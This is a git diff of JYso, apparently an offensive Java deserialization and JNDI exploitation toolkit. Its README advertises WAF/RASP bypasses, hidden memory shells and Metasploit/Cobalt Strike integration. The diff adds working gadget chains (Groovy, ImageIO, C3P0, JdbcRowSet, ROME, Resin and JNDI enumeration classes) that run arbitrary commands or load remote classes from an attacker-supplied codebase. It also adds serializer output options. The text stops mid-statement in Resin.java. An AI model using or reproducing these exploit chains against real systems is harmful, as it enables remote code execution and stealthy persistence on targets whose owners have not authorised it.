diff --git a/.gitignore b/.gitignore index 961265d..e64317a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ .idea/ .gradle/ out/ -gradle/ \ No newline at end of file +gradle/ +.DS_Store diff --git a/README_EN.md b/README_EN.md new file mode 100644 index 0000000..c93d855 --- /dev/null +++ b/README_EN.md @@ -0,0 +1,91 @@ +# 🐦‍⬛JYso + +![](https://img.shields.io/badge/JDK-1.6+-orange) +![](https://img.shields.io/badge/gradle-8.7-blue) +![](https://img.shields.io/badge/SDL-Groovy-green) + +👊**JYso** is a tool that can be used as both ysoserial and JNDIExploit. It also has bypass functions of multiple JNDI high versions, WAF, and RASP. + +# 🚀 Getting Started Guide + +📢 Please be sure to take a moment to read this document, which will help you quickly become familiar with JYso! + +🧐 Use documentation [Wiki](https://github.com/qi4L/JYso/wiki). + +✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases). + +# 🐲Features + ++ JNDI account activation ++ JNDI routing hidden or encrypted ++ JNDI high version Bypass ++ 12 available echo classes ++ 18 available memshell classes, and supports modifying the memshell path, password, authentication HTTP header and value ++ 76 available Gadgets and provide multiple ways to use them ++ Memory horse supports [No file landing Agent entry](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) ++ write the memshell to JRE or environment variable to hide ++ Serialized data plus dirty data ++ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) ++ Secondary deserialization of SignedObject, which can be used to bypass TemplatesImpl blacklist, CC countless groups and blacklists that often appear in CTF, etc. ++ To solve the problem that the Shiro Header header is too long, obtain the value of the specified parameter from the request for class loading. ++ Dynamically generate obfuscated class names ++ MSF/CS online ++ Code execution via JDBC + +If you have any other great ideas be sure to let me know! 😎 + +# 🐯Compile + +Download gradle8.7+ and configure it in the global environment variable, execute it in the project root directory + +```shell +./gradlew shadowJar +``` + +# 🌲Directory structure + +For more information, see [Directory Structure Description](docs/directory_structure.md). + +# ⌛ Follow-up plan + +- [ ] Continuous optimization and improvement of each module +- [ ] Add more Bypass functions +- [ ] Optimize the traversal effect through machine learning and graph theory + +# 🙏Contribute + +We warmly welcome all of you to work together to improve this project! + +# ✨404StarLink 2.0 - Galaxy + +JYso is a part of 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink). If you have questions about JYso or want to find a partner to communicate, you can refer to the Starlink group project. + ++ https://github.com/knownsec/404StarLink2.0-Galaxy#community + +# 📜 Disclaimer + +This tool can only be used in the security construction of enterprises that have obtained sufficient legal authorization. When using this tool, you should ensure that all your actions comply with local laws and regulations. +If you commit any illegal behavior while using this tool, you will bear all the consequences yourself. All developers and contributors of this tool do not assume any legal and joint liability. +Please do not install and use this tool unless you have fully read, fully understood and accepted all the terms of this agreement. +Your usage behavior or your acceptance of this Agreement in any other express or implicit manner shall be deemed to have read and agreed to be bound by this Agreement. + +# 📷reference project + +- https://github.com/veracode-research/rogue-jndi +- https://github.com/welk1n/JNDI-Injection-Exploit +- https://github.com/welk1n/JNDI-Injection-Bypass +- https://github.com/WhiteHSBG/JNDIExploit +- https://github.com/su18/ysoserial +- https://github.com/rebeyond/Behinder +- https://t.zsxq.com/17LkqCzk8 +- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg +- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 +- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ +- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 +- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ +- https://github.com/Whoopsunix/utf-8-overlong-encoding +- https://tttang.com/archive/1405/#toc_groovyclassloader +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F +- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html + diff --git a/build.gradle b/build.gradle index 07e2ea1..da8f6a1 100644 --- a/build.gradle +++ b/build.gradle @@ -89,7 +89,15 @@ dependencies { // api libs.commons.beanutils.commons.beanutils api libs.javax.websocket.javax.websocket.api api libs.com.caucho.resin + api libs.com.rometools.rome + api libs.org.apache.xbean.xbean.naming api libs.com.thoughtworks.xstream + api libs.commons.configuration + api libs.com.esotericsoftware.kryo + api libs.org.jyaml.jyaml + api libs.com.cedarsoftware.json.io + api libs.org.codehaus.castor.castor.xml + implementation 'net.sf.json-lib:json-lib:2.4:jdk15' implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26' runtimeOnly libs.org.aspectj.aspectjweaver diff --git a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java b/src/main/java/com/qi4l/JYso/controllers/ysoserial.java index b8636ca..5ddad4c 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java +++ b/src/main/java/com/qi4l/JYso/controllers/ysoserial.java @@ -19,7 +19,7 @@ import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; public class ysoserial { public static CommandLine cmdLine; - public static Object PAYLOAD = null; + public static Object PAYLOAD = null; public static void ysoserial(String[] args) { final Options options = getOptions(); @@ -113,6 +113,30 @@ public class ysoserial { Config.IS_Hessian2 = true; } + if(cmdLine.hasOption("XStream")){ + Config.IS_Xstream = true; + } + + if(cmdLine.hasOption("Kryo")){ + Config.IS_Kryo = true; + } + + if(cmdLine.hasOption(("JYaml"))){ + Config.IS_JYAML = true; + } + if(cmdLine.hasOption("JsonIO")){ + Config.IS_JsonIO = true; + } + if(cmdLine.hasOption("YamlBeans")){ + Config.IS_YamlBeans = true; + } + if(cmdLine.hasOption("Castor")){ + Config.IS_Castor = true; + } + if(cmdLine.hasOption("Jackson")){ + Config.IS_Jackson = true; + } + if (cmdLine.hasOption("gen-mem-shell")) { Config.GEN_MEM_SHELL = true; @@ -129,19 +153,10 @@ public class ysoserial { } } - if(cmdLine.hasOption("XStream")){ - Config.IS_XSTREAM = true; - } - final String payloadType = cmdLine.getOptionValue("gadget"); final String command = cmdLine.getOptionValue("parameters"); - Class payloadClass = null; - if (Config.IS_XSTREAM){ - payloadClass = ObjectPayload.Utils.getPayloadClass(cmdLine.getOptionValue("XStream")); - }else { - payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); - } - + //载入gadget + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); if (payloadClass == null) { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(options); @@ -151,6 +166,7 @@ public class ysoserial { try { + //载入payload ObjectPayload payload = payloadClass.newInstance(); Object object = payload.getObject(command); @@ -174,7 +190,7 @@ public class ysoserial { } else { out = System.out; } - Serializer.qiserialize(object, out); + Serializer.qiserialize(object, out,payloadType,command); ObjectPayload.Utils.releasePayload(payload, object); out.flush(); out.close(); @@ -185,7 +201,6 @@ public class ysoserial { } System.exit(0); } - private static Options getOptions() { Options options = new Options(); options.addOption("y", "ysoserial", false, "Java deserialization"); @@ -204,7 +219,6 @@ public class ysoserial { options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]"); options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File"); options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name"); - options.addOption("x", "XStream", true, "Generate Xstream serialization xml"); options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)"); options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/"); options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); @@ -215,6 +229,13 @@ public class ysoserial { options.addOption("he1", "Hessian1", false, "Hessian1 Output"); options.addOption("he2", "Hessian2", false, "Hessian2 Output"); options.addOption("b64", "base64", false, "base64 encoding"); + options.addOption("xs", "XStream", false, "Xstream Output"); + options.addOption("kryo", "Kryo", false, "Kryo Output"); + options.addOption("jy", "JYaml", false, "JYaml Output"); + options.addOption("js","JsonIO", false, "JsonIO Output"); + options.addOption("yb","YamlBeans", false, "YamlBeans Output"); + options.addOption("ca", "Castor", false, "Castor Output"); + options.addOption("jk", "Jackson", false, "Jackson Output"); return options; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java b/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java new file mode 100644 index 0000000..9a36813 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java @@ -0,0 +1,13 @@ +package com.qi4l.JYso.gadgets; + +import java.net.URI; + +public class BindingEnumeration implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + UtilFactory uf = new UtilFactory(); + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[ 0 ], args[ 1 ]))); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java new file mode 100644 index 0000000..70bf315 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java @@ -0,0 +1,13 @@ +package com.qi4l.JYso.gadgets; + +public class C3P0RefDataSource implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { +// Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource")); +// // requires ordering +// Reflections.setFieldValue(obj, "jndiName", command); +// Reflections.setFieldValue(obj, "loginTimeout", 0); +// return obj; + return null; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java b/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java new file mode 100644 index 0000000..672a8c2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java @@ -0,0 +1,41 @@ +package com.qi4l.JYso.gadgets; + +import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Hex; + +import javax.naming.Name; +import javax.naming.Reference; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.net.URI; +import java.util.Hashtable; + +public class C3P0WrapperConnPool implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class); + Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])); + return obj; + } + + public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException, + InstantiationException, IllegalAccessException, InvocationTargetException, IOException { + ByteArrayOutputStream b = new ByteArrayOutputStream(); + try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) { + Class refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$ + Constructor con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class); + con.setAccessible(true); + Reference jndiref = new Reference("Foo", clazz, codebase); + Object ref = con.newInstance(jndiref, null, null, null); + oos.writeObject(ref); + } + + return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$ + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java index b81c247..91c190c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -93,7 +93,13 @@ public class Config { public static Boolean IS_UTF_Bypass = false; public static Boolean IS_Hessian1 = false; public static Boolean IS_Hessian2 = false; - public static Boolean IS_XSTREAM = false; + public static Boolean IS_Xstream = false; + public static Boolean IS_Kryo = false; + public static Boolean IS_JYAML = false; + public static Boolean IS_JsonIO = false; + public static Boolean IS_YamlBeans = false; + public static Boolean IS_Castor = false; + public static Boolean IS_Jackson = false; // 填充的脏数据长度 public static int DIRTY_LENGTH_IN_TC_RESET = 0; diff --git a/src/main/java/com/qi4l/JYso/gadgets/Groovy.java b/src/main/java/com/qi4l/JYso/gadgets/Groovy.java new file mode 100644 index 0000000..4a9e279 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Groovy.java @@ -0,0 +1,22 @@ +package com.qi4l.JYso.gadgets; + +import groovy.util.Expando; +import org.codehaus.groovy.runtime.MethodClosure; + +public class Groovy implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + Object e = makeGroovy(command); + UtilFactory uf = new UtilFactory(); + return uf.makeHashCodeTrigger(e); + } + + public static Object makeGroovy(String command) throws Exception { + Expando expando = new Expando(); + ProcessBuilder pb = new ProcessBuilder(command); + MethodClosure mc = new MethodClosure(pb, "start"); + expando.setProperty("hashCode", mc); + return expando; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ImageIO.java b/src/main/java/com/qi4l/JYso/gadgets/ImageIO.java new file mode 100644 index 0000000..7db04a9 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ImageIO.java @@ -0,0 +1,41 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; + +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Collections; + +public class ImageIO implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + UtilFactory uf = new UtilFactory(); + String args[] = {command}; + return makeImageIO(uf, args); + } + public static Object makeImageIO ( UtilFactory uf, String[] args ) throws Exception { + ProcessBuilder pb = new ProcessBuilder(args); + Class cfCl = Class.forName("javax.imageio.ImageIO$ContainsFilter"); + Constructor cfCons = cfCl.getDeclaredConstructor(Method.class, String.class); + cfCons.setAccessible(true); + + // nest two instances, the 'next' of the other one will be skipped, + // the inner instance then provides the actual target object + Object filterIt = makeFilterIterator( + makeFilterIterator(Collections.emptyIterator(), pb, null), + "foo", + cfCons.newInstance(ProcessBuilder.class.getMethod("start"), "foo")); + + return uf.makeIteratorTrigger(filterIt); + } + public static Object makeFilterIterator ( Object backingIt, Object first, Object filter ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { + Class fiCl = Class.forName("javax.imageio.spi.FilterIterator"); + Object filterIt = Reflections.createWithoutConstructor(fiCl); + Reflections.setFieldValue(filterIt, "iter", backingIt); + Reflections.setFieldValue(filterIt, "next", first); + Reflections.setFieldValue(filterIt, "filter", filter); + return filterIt; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java b/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java new file mode 100644 index 0000000..899eb03 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JDKUtil.java @@ -0,0 +1,280 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.jndi.rmi.registry.ReferenceWrapper; +import com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl; +import com.sun.rowset.JdbcRowSetImpl; +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +import javax.activation.DataHandler; +import javax.activation.DataSource; +import javax.crypto.Cipher; +import javax.crypto.CipherInputStream; +import javax.crypto.NullCipher; +import javax.management.loading.MLet; +import javax.naming.*; +import javax.naming.directory.DirContext; +import javax.naming.directory.SearchResult; +import java.io.InputStream; +import java.lang.reflect.*; +import java.math.BigInteger; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLClassLoader; +import java.rmi.RemoteException; +import java.rmi.server.ObjID; +import java.util.*; +import java.util.ServiceLoader; + +public class JDKUtil { + /** + * + */ + private JDKUtil() {} + + + public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception { + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiUrl); + rs.setMatchColumn("foo"); + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); + return rs; + } + + + public static DirContext makeContinuationContext (String codebase, String clazz ) throws Exception { + Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ + Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); + ccCons.setAccessible(true); + CannotProceedException cpe = new CannotProceedException(); + Reflections.setFieldValue(cpe, "stackTrace", new StackTraceElement[0]); + cpe.setResolvedObj(new Reference("Foo", clazz, codebase)); + return (DirContext) ccCons.newInstance(cpe, null); + } + + + @SuppressWarnings ( "resource" ) + public static Object makeIteratorTriggerNative ( UtilFactory uf, Object it ) throws Exception, ClassNotFoundException, NoSuchMethodException, + InstantiationException, IllegalAccessException, InvocationTargetException { + Cipher m = Reflections.createWithoutConstructor(NullCipher.class); + Reflections.setFieldValue(m, "serviceIterator", it); + Reflections.setFieldValue(m, "lock", new Object()); + + InputStream cos = new CipherInputStream(null, m); + + Class niCl = Class.forName("java.lang.ProcessBuilder$NullInputStream"); //$NON-NLS-1$ + Constructor niCons = niCl.getDeclaredConstructor(); + niCons.setAccessible(true); + + Reflections.setFieldValue(cos, "input", niCons.newInstance()); + Reflections.setFieldValue(cos, "ibuffer", new byte[0]); + + Object b64Data = Class.forName("com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data").newInstance(); + DataSource ds = (DataSource) Reflections + .createWithoutConstructor(Class.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource")); //$NON-NLS-1$ + Reflections.setFieldValue(ds, "is", cos); + Reflections.setFieldValue(b64Data, "dataHandler", new DataHandler(ds)); + Reflections.setFieldValue(b64Data, "data", null); + + Object nativeString = Reflections.createWithoutConstructor(Class.forName("jdk.nashorn.internal.objects.NativeString")); + Reflections.setFieldValue(nativeString, "value", b64Data); + return uf.makeHashCodeTrigger(nativeString); + } + + + public static Object adaptEnumerationToIterator ( Enumeration enu ) throws ClassNotFoundException, NoSuchMethodException, + InstantiationException, IllegalAccessException, InvocationTargetException, Exception { + Class clIt = Class.forName("sun.misc.Service$LazyIterator"); + Constructor licons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class); + licons.setAccessible(true); + ServiceLoader sl = Reflections.createWithoutConstructor(ServiceLoader.class); + Object iter = licons.newInstance(null, null); + Reflections.setFieldValue(sl, "providers", new LinkedHashMap<>()); + Reflections.setFieldValue(iter, "configs", enu); + return iter; + } + + + public static Iterator makeServiceIterator (ClassLoader cl, Class service ) throws Exception { + Class clIt = Class.forName("sun.misc.Service$LazyIterator"); + Constructor lciCons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class); + lciCons.setAccessible(true); + return (Iterator) lciCons.newInstance(service, cl); + } + + + public static Iterable makeServiceLoader ( ClassLoader cl, Class service ) throws Exception { + return ServiceLoader.load(service, cl); + } + + + public static URLClassLoader makeURLClassLoader (String url ) throws MalformedURLException, Exception { + URLClassLoader ucl = new URLClassLoader(new URL[] { + new URL(url) + }); + Reflections.setFieldValue(ucl, "parent", null); + Reflections.setFieldValue(ucl, "domains", new HashSet<>()); + Reflections.setFieldValue(ucl, "defaultDomain", null); + Reflections.setFieldValue(ucl, "acc", null); + + Reflections.setFieldValue(Reflections.getFieldValue(ucl, "ucp"), "acc", null); + return ucl; + } + + + public static URLClassLoader makeMLet ( String url ) throws MalformedURLException, Exception { + URLClassLoader ucl = new MLet(new URL[] { + new URL(url) + }); + Reflections.setFieldValue(ucl, "parent", null); + Reflections.setFieldValue(ucl, "domains", new HashSet<>()); + Reflections.setFieldValue(ucl, "defaultDomain", null); + Reflections.setFieldValue(ucl, "acc", null); + + Reflections.setFieldValue(Reflections.getFieldValue(ucl, "ucp"), "acc", null); + return ucl; + } + + + @SuppressWarnings ( "unchecked" ) + public static Enumeration makeLazySearchEnumeration ( String codebase, String clazz ) throws Exception { + DirContext ctx = makeContinuationContext(codebase, clazz); + NamingEnumeration inner = Reflections.createWithoutConstructor(LazySearchEnumerationImpl.class); + Reflections.setFieldValue(inner, "nextMatch", new SearchResult("foo", ctx, null)); + return new LazySearchEnumerationImpl((NamingEnumeration) inner, null, null); + } + + + public static Enumeration makeBindingEnumeration ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException, + InstantiationException, IllegalAccessException, InvocationTargetException, Exception, NamingException, RemoteException { + Class cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration"); + Object enu = Reflections.createWithoutConstructor(cl); + Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz))); + Reflections.setFieldValue(enu, "names", new String[] { + "exp" + }); + Reflections.setFieldValue(enu, "nextName", 0); + return (Enumeration) enu; + } + + + private static Object makeRegistryImpl ( String codebase, String clazz ) throws IllegalArgumentException, Exception { + Class regcl = Class.forName("sun.management.jmxremote.SingleEntryRegistry"); + Object reg = Reflections.createWithoutConstructor(regcl); + Reflections.setFieldValue(reg, "name", "exp"); + + TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1337); + LiveRef liveRef = new LiveRef(new ObjID(), te, true); + UnicastRef value = new UnicastRef(liveRef); + Reflections.setFieldValue(reg, "ref", value); + Reflections.setFieldValue(reg, "object", makeReference(codebase, clazz)); + return reg; + } + + + private static ReferenceWrapper makeReference (String codebase, String clazz ) throws Exception { + Reference ref = new Reference("Foo", clazz, codebase); + ReferenceWrapper wrapper = Reflections.createWithoutConstructor(ReferenceWrapper.class); + Reflections.setFieldValue(wrapper, "wrappee", ref); + Reflections.setFieldValue(wrapper, "ref", Reflections.createWithoutConstructor(sun.rmi.server.UnicastServerRef.class)); + return wrapper; + } + + + private static Object makeRegistryContext ( Object regi ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException, Exception { + Class regctxcl = Class.forName("com.sun.jndi.rmi.registry.RegistryContext"); + Object regctx = Reflections.createWithoutConstructor(regctxcl); + Reflections.setFieldValue(regctx, "registry", regi); + return regctx; + } + + + public static HashMap makeMap ( Object v1, Object v2 ) throws Exception { + HashMap s = new HashMap<>(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } + catch ( ClassNotFoundException e ) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } + + + @SuppressWarnings ( { + "rawtypes", "unchecked" + } ) + public static Queue makePriorityQueue ( Object tgt, Comparator comparator ) throws Exception { + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue<>(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[ 0 ] = tgt; + queueArray[ 1 ] = tgt; + + return queue; + } + + + @SuppressWarnings ( { + "rawtypes", "unchecked" + } ) + public static TreeMap makeTreeMap ( Object tgt, Comparator comparator ) throws Exception { + TreeMap tm = new TreeMap<>(comparator); + + Class entryCl = Class.forName("java.util.TreeMap$Entry"); + Constructor entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl); + entryCons.setAccessible(true); + Field leftF = Reflections.getField(entryCl, "left"); + + Field rootF = Reflections.getField(TreeMap.class, "root"); + Object root = entryCons.newInstance(tgt, tgt, null); + leftF.set(root, entryCons.newInstance(tgt, tgt, root)); + rootF.set(tm, root); + Reflections.setFieldValue(tm, "size", 2); + return tm; + } + + + public static T createProxy (final InvocationHandler ih, final Class iface, final Class... ifaces ) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[ 0 ] = iface; + if ( ifaces.length > 0 ) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(TemplatesUtil.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap ( final String key, final Object val ) { + final Map map = new HashMap<>(); + map.put(key, val); + return map; + } + + + public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(TemplatesUtil.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java b/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java new file mode 100644 index 0000000..6eba35c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/JdbcRowSet.java @@ -0,0 +1,10 @@ +package com.qi4l.JYso.gadgets; + +public class JdbcRowSet implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + return JDKUtil.makeJNDIRowSet(command); + } + + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java b/src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java new file mode 100644 index 0000000..48963c4 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/LazySearchEnumeration.java @@ -0,0 +1,13 @@ +package com.qi4l.JYso.gadgets; + +import java.net.URI; + +public class LazySearchEnumeration implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + UtilFactory uf = new UtilFactory(); + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[ 0 ], args[ 1 ]))); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java b/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java new file mode 100644 index 0000000..646ea5a --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java @@ -0,0 +1,35 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.rometools.rome.feed.impl.EqualsBean; +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.rowset.JdbcRowSetImpl; + + +public class ROMEJDBC implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + // Assuming makeJNDIRowSet is a static method in JDKUtil + return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command)); + } + + public Object makeROMEAllPropertyTrigger(Class type, T obj) throws Exception { + ToStringBean item = new ToStringBean(type, obj); + EqualsBean root = new EqualsBean(ToStringBean.class, item); + return makeHashCodeTrigger(root); + } + + public Object makeHashCodeTrigger(Object o1) throws Exception { + return JDKUtil.makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object + } + + // Assuming JDKUtil class with makeJNDIRowSet method + public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception { + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiUrl); + rs.setMatchColumn("foo"); + Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); + return rs; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Resin.java b/src/main/java/com/qi4l/JYso/gadgets/Resin.java new file mode 100644 index 0000000..82fb77c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Resin.java @@ -0,0 +1,76 @@ +package com.qi4l.JYso.gadgets; + +import com.caucho.naming.QName; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xpath.internal.objects.XString; + +import javax.naming.CannotProceedException; +import javax.naming.Reference; +import javax.naming.directory.DirContext; +import java.lang.reflect.Constructor; +import java.net.URI; +import java.util.Hashtable; + +public class Resin implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + //需要处理command + return makeResinQName(command); + } + public Object makeResinQName(String command) throws Exception { + Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ + Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); + ccCons.setAccessible(true); + CannotProceedException cpe = new CannotProceedException(); + Reflections.setFieldValue(cpe, "cause", null); + Reflections.setFieldValue(cpe, "stackTrace", null); + //考虑换成其他的 + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + cpe.setResolvedObj(new Reference("Foo", args[ 1 ], args[ 0 ])); + + Reflections.setFieldValue(cpe, "suppressedExceptions", null); + DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); + QName qName = new QName(ctx, "foo", "bar"); + return 